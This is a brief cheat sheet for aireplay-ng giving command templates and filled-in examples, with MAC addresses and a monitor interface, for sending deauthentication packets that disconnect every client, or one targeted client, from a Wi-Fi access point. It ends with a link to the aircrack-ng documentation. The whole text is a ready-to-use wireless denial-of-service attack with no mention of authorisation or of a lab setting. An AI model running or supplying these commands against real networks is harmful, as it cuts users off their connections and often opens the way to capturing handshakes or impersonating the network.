deauthenticate all clients in a network
aireplay-ng --deauth [number of deauth packets] -a [access point mac] [monitor interface] aireplay-ng --deauth 10 -a FC:75:16:D4:CC:2A wlan0mon
deauthenticate a specific client in a network
aireplay-ng --deauth [number of deauth packets] -a [access point mac] -c [target mac] [monitor interface] aireplay-ng --deauth 10 -a FC:75:16:D4:CC:2A -c 50:01:BB:7B:95:17 wlan0mon
References :
http://www.aircrack-ng.org/doku.php?id=deauthentication